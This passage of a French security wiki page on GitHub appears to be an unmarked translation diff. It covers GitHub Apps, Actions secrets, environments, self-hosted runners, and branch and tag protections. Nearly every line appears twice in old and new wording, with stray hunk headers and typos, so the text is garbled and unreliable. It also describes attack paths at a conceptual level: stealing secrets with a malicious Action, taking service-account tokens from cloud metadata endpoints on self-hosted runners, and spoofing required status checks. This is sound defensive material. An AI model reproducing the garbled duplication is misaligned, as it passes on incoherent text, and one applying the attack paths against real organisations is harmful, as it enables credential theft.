- Ne construisez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut la portée `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les portées pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- Une GitHub App devrait **prendre des actions indépendamment d'un utilisateur** (à moins que l'app n'utilise un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour rendre les access tokens user-to-server plus sécurisés, vous pouvez utiliser des access tokens qui expireront après 8 heures, et un refresh token qui peut être échangé contre un nouvel access token. Pour plus d'informations, voir "Refreshing user-to-server access tokens".
- Assurez-vous que la GitHub App s'intègre avec des **repositories spécifiques**.
- La GitHub App devrait **se connecter à un compte personnel ou à une organisation**.
- N'attendez pas d'une GitHub App qu'elle sache et fasse tout ce qu'un utilisateur peut faire.
- **N'utilisez pas** une GitHub App si vous avez simplement besoin d'un service "Login with GitHub". Mais une GitHub App peut utiliser un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
- Ne cez pas une GitHub App si vous voulez **uniquement** agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
- Si vous utilisez votre app avec GitHub Actions et souhaitez modifier des fichiers workflow, vous devez vous authentifier au nom de l'utilisateur avec un OAuth token qui inclut le scope `workflow`. L'utilisateur doit avoir la permission admin ou write sur le repository qui contient le fichier de workflow. Pour plus d'informations, voir "Understanding scopes for OAuth apps".
- **Plus** d'informations [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Actions Github
### Github Actions
Ceci **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'Action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
Ce **n'est pas un moyen d'authentification sur github**, mais une **Github Action malveillante** pourrait obtenir **un accès non autorisé à github** et, **selon** les **privilèges** donnés à l'Action, plusieurs **attaques différentes** pourraient être effectuées. Voir cidessous pour plus d'informations.
## Actions Git
## Git Actions
Les actions Git permettent d'automatiser l'**exécution de code lorsqu'un événement se produit**. En général, le code exécuté est **d'une certaine manière lié au code du dépôt** (peut-être construire un conteneur docker ou vérifier que la PR ne contient pas de secrets).
Git actions permet d'automatiser **l'exécution de code quand un événement se produit**. Habituellement, le code exécuté est **d'une manière ou d'une autre lié au code du repository** (par exemple construire un container docker ou vérifier que la PR ne contient pas de secrets).
### Configuration
Dans _https://github.com/organizations/\<org_name>/settings/actions_, il est possible de vérifier la **configuration des actions github** pour l'organisation.
Dans _https://github.com/organizations/\<org_name>/settings/actions_ il est possible de vérifier la **configuration des github actions** pour l'organisation.
Il est possible d'interdire complètement l'utilisation des actions github, **d'autoriser toutes les actions github**, ou simplement d'autoriser certaines actions.
Il est possible d'interdire complètement l'utilisation des github actions, **autoriser toutes les github actions**, ou n'autoriser que certaines actions.
Il est également possible de configurer **qui a besoin d'approbation pour exécuter une Action Github** et les **permissions du GITHUB_TOKEN** d'une Action Github lorsqu'elle est exécutée.
Il est également possible de configurer **qui doit obtenir une approbation pour exécuter une Github Action** et les **permissions du GITHUB_TOKEN** d'une Github Action lorsqu'elle est exécutée.
### Secrets Git
### Git Secrets
Les Actions Github ont généralement besoin d'un certain type de secrets pour interagir avec github ou des applications tierces. Pour **éviter de les mettre en texte clair** dans le dépôt, github permet de les mettre en tant que **Secrets**.
Les Github Actions ont généralement besoin de secrets pour interagir avec github ou des applications tierces. Pour **éviter de les mettre en clair** dans le repo, GitHub permet de les stocker comme **Secrets**.
Ces secrets peuvent être configurés **pour le dépôt ou pour toute l'organisation**. Ensuite, pour que l'**Action puisse accéder au secret**, vous devez le déclarer comme :
Ces secrets peuvent être configurés **pour le repo ou pour toute l'organization**. Ensuite, pour que l'**Action puisse accéder au secret** vous devez le déclarer comme :
```yaml
steps:
- name: Hello world action
@@ -168,75 +168,90 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Les secrets **ne peuvent être accédés que depuis les Github Actions** qui les ont déclarés.
> Secrets **can only be accessed from the Github Actions** qui les ont déclarés.
>
> Une fois configurés dans le repo ou dans les organizations, **les utilisateurs de github ne pourront plus y accéder**, ils pourront seulement les **modifier**.
> Une fois configurés dans le dépôt ou les organisations, **les utilisateurs de github ne pourront plus y accéder**, ils ne pourront que **les modifier**.
Par conséquent, la **seule façon de voler des secrets github est de pouvoir accéder à la machine qui exécute l'Action Github** (dans ce scénario, vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
Par conséquent, la **seule façon de voler des github secrets est d'avoir accès à la machine qui exécute la Github Action** (dans ce scénario vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
### Git Environments
Github permet de créer **des environnements** où vous pouvez enregistrer **des secrets**. Ensuite, vous pouvez donner à l'action github l'accès aux secrets à l'intérieur de l'environnement avec quelque chose comme :
Github permet de créer des **environments** où vous pouvez sauvegarder des **secrets**. Ensuite, vous pouvez donner à la github action l'accès aux secrets à l'intérieur de l'environment avec quelque chose comme :
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Vous pouvez configurer un environnement pour être **accessible** par **toutes les branches** (par défaut), **uniquement les branches protégées** ou **spécifier** quelles branches peuvent y accéder.\
Il peut également définir un **nombre d'examens requis** avant **d'exécuter** une **action** utilisant un **environnement** ou **attendre** un **certain temps** avant de permettre aux déploiements de se poursuivre.
Vous pouvez configurer un environment pour qu'il soit **accessed** par **all branches** (par défaut), **only protected** branches ou **specify** quelles branches peuvent y accéder.\
De plus, les protections d'environnement incluent :
- **Required reviewers** : bloquer les jobs visant l'environnement jusqu'à approbation. Activez **Prevent self-review** pour appliquer un véritable principe des quatreyeux sur l'approbation ellemême.
- **Deployment branches and tags** : restreindre quelles branches/tags peuvent déployer vers l'environnement. Préférez sélectionner des branches/tags spécifiques et assurez-vous que ces branches sont protégées. Note : l'option "Protected branches only" s'applique aux protections de branche classiques et peut ne pas se comporter comme prévu si vous utilisez des rulesets.
- **Wait timer** : retarder les déploiements pendant une période configurable.
### Git Action Runner
Il est aussi possible de définir un **nombre d'examens requis** avant **d'exécuter** une **action** utilisant un **environnement**, ou d'**attendre** un certain **temps** avant d'autoriser les déploiements à continuer.
### GitHub Action Runner
Une action Github peut être **exécutée dans l'environnement github** ou peut être exécutée dans une **infrastructure tierce** configurée par l'utilisateur.
Une GitHub Action peut être **exécutée à l'intérieur de l'environnement GitHub** ou peut être exécutée sur une **infrastructure tierce** configurée par l'utilisateur.
Plusieurs organisations permettront d'exécuter des actions Github dans une **infrastructure tierce** car cela a tendance à être **moins cher**.
Certaines organisations autorisent l'exécution de GitHub Actions sur une **infrastructure tierce** car cela était souvent **moins coûteux**.
Vous pouvez **lister les runners auto-hébergés** d'une organisation à _https://github.com/organizations/\<org_name>/settings/actions/runners_
Vous pouvez **lister les runners auto-hébergés** d'une organisation dans _https://github.com/organizations/\<org_name>/settings/actions/runners_
La façon de trouver quelles **actions Github sont exécutées dans une infrastructure non-github** est de rechercher `runs-on: self-hosted` dans la configuration yaml de l'action Github.
La façon de trouver quelles GitHub Actions sont exécutées sur une infrastructure non-GitHub est de rechercher `runs-on: self-hosted` dans le YAML de configuration de la GitHub Action.
Il est **impossible d'exécuter une action Github d'une organisation à l'intérieur d'une boîte auto-hébergée** d'une autre organisation car **un jeton unique est généré pour le Runner** lors de sa configuration pour savoir à quelle organisation le runner appartient.
Il n'est pas possible d'exécuter une GitHub Action d'une organisation dans une machine self-hosted d'une autre organisation parce qu'un jeton unique est généré pour le Runner lors de sa configuration afin d'identifier l'appartenance du runner.
Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès au point de terminaison des métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
Si le Runner GitHub personnalisé est configuré sur une machine dans AWS ou GCP par exemple, l'Action pourrait avoir accès à l'endpoint metadata et voler le token du service account avec lequel la machine s'exécute.
### Compromission de l'Action Git
### Compromission d'une GitHub Action
Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui **compromettra** le **conteneur** où elle est exécutée.
Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une GitHub Action malveillante et compromettre le container où elle s'exécute.
> [!CAUTION]
> Une **action Github malveillante** exécutée pourrait être **abusée** par l'attaquant pour :
> Une **GitHub Action malveillante** pourrait être **abusée** par un attaquant pour :
>
> - **Voler tous les secrets** auxquels l'action a accès
> - **Se déplacer latéralement** si l'action est exécutée à l'intérieur d'une **infrastructure tierce** où le jeton SA utilisé pour exécuter la machine peut être accessible (probablement via le service de métadonnées)
> - **Abuser du jeton** utilisé par le **workflow** pour **voler le code du repo** où l'action est exécutée ou **même le modifier**.
> - **Voler tous les secrets** auxquels l'Action a accès
> - **Se déplacer latéralement** si l'Action est exécutée dans une **infrastructure tierce** où le token SA utilisé pour exécuter la machine peut être accessible (probablement via le service metadata)
> - **Abuser du token** utilisé par le **workflow** pour **voler le code du repo** où l'Action est exécutée ou **même le modifier**.
## Protections des Branches
## Protections de branches
Les protections des branches sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**.
Les protections de branches sont conçues pour **ne pas donner le contrôle complet d'un repository** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une branche**.
Les **protections des branches d'un dépôt** peuvent être trouvées à _https://github.com/\<orgname>/\<reponame>/settings/branches_
Les **branch protections d'un repository** se trouvent dans _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Il est **impossible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
> Il n'est **pas possible de définir une protection de branche au niveau de l'organisation**. Elles doivent donc toutes être déclarées sur chaque repo.
Différentes protections peuvent être appliquées à une branche (comme à master) :
Différentes protections peuvent être appliquées à une branche (par exemple master) :
- Vous pouvez **exiger une PR avant de fusionner** (donc vous ne pouvez pas fusionner directement du code sur la branche). Si cela est sélectionné, d'autres protections peuvent être en place :
- **Exiger un nombre d'approbations**. Il est très courant d'exiger que 1 ou 2 autres personnes approuvent votre PR afin qu'un seul utilisateur ne puisse pas fusionner le code directement.
- **Rejeter les approbations lorsque de nouveaux commits sont poussés**. Sinon, un utilisateur peut approuver un code légitime et ensuite l'utilisateur pourrait ajouter du code malveillant et le fusionner.
- **Exiger des examens des Propriétaires de Code**. Au moins 1 propriétaire de code du dépôt doit approuver la PR (donc les utilisateurs "aléatoires" ne peuvent pas l'approuver)
- **Restreindre qui peut rejeter les examens des demandes de tirage.** Vous pouvez spécifier des personnes ou des équipes autorisées à rejeter les examens des demandes de tirage.
- **Autoriser des acteurs spécifiés à contourner les exigences des demandes de tirage**. Ces utilisateurs pourront contourner les restrictions précédentes.
- **Exiger que les vérifications de statut réussissent avant de fusionner.** Certaines vérifications doivent réussir avant de pouvoir fusionner le commit (comme une action github vérifiant qu'il n'y a pas de secret en clair).
- **Exiger la résolution des conversations avant de fusionner**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être fusionnée.
- **Exiger des commits signés**. Les commits doivent être signés.
- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers les branches correspondantes.
- **Inclure les administrateurs**. Si cela n'est pas défini, les administrateurs peuvent contourner les restrictions.
- **Restreindre qui peut pousser vers les branches correspondantes**. Restreindre qui peut envoyer une PR.
- Vous pouvez **exiger une PR avant de merger** (ainsi vous ne pouvez pas merger directement du code dans la branche). Si cela est sélectionné, d'autres protections peuvent être en place :
- **Require a number of approvals**. Il est très courant d'exiger 1 ou 2 personnes supplémentaires pour approuver votre PR afin qu'un seul utilisateur ne puisse pas merger le code directement.
- **Dismiss approvals when new commits are pushed**. Sinon, un utilisateur pourrait approuver un code légitime puis ajouter du code malveillant et merger.
- **Require approval of the most recent reviewable push**. Garantit que tout nouveau commit après une approbation (y compris des pushes par d'autres collaborateurs) re-déclenche la revue, empêchant un attaquant d'ajouter des modifications postapprobation et de merger.
- **Require reviews from Code Owners**. Au moins 1 code owner du repo doit approuver la PR (ainsi des utilisateurs "aléatoires" ne peuvent pas approuver).
- **Restrict who can dismiss pull request reviews.** Vous pouvez préciser des personnes ou des équipes autorisées à rejeter des reviews.
- **Allow specified actors to bypass pull request requirements**. Ces utilisateurs pourront contourner les restrictions précédentes.
- **Require status checks to pass before merging.** Certains checks doivent réussir avant de pouvoir merger le commit (comme une GitHub App rapportant des résultats SAST). Astuce : liez les checks requis à une GitHub App spécifique ; sinon n'importe quelle app pourrait usurper le check via la Checks API, et beaucoup de bots acceptent des directives d'ignorance (par ex., "@bot-name skip").
- **Require conversation resolution before merging**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être mergée.
- **Require signed commits**. Les commits doivent être signés.
- **Require linear history.** Empêche les merge commits d'être poussés vers les branches correspondantes.
- **Include administrators**. Si ceci n'est pas activé, les admins peuvent contourner les restrictions.
- **Restrict who can push to matching branches**. Restreindre qui peut envoyer un PR.
> [!NOTE]
> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, les repos peuvent être protégés, vous empêchant par exemple de pousser du code sur master pour compromettre le pipeline CI/CD.
## Protections de tags
Les tags (comme latest, stable) sont modifiables par défaut. Pour appliquer un flux à quatreyeux sur les mises à jour de tags, protégez les tags et enchaînez les protections via environnements et branches :
1) Dans la règle de protection de tag, activez **Require deployments to succeed** et exigez un déploiement réussi vers un environnement protégé (par ex., prod).
2) Dans l'environnement ciblé, restreignez **Deployment branches and tags** à la branche de release (par ex., main) et configurez éventuellement **Required reviewers** avec **Prevent self-review**.
3) Sur la branche de release, configurez les protections de branche pour **Require a pull request**, définissez les approvals ≥ 1, et activez à la fois **Dismiss approvals when new commits are pushed** et **Require approval of the most recent reviewable push**.
Cette chaîne empêche un seul collaborateur de retagger ou de forcer la publication de releases en éditant le workflow YAML, puisque les gates de déploiement sont appliqués en dehors des workflows.
## Références
@@ -245,5 +260,10 @@ Différentes protections peuvent être appliquées à une branche (comme à mast
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}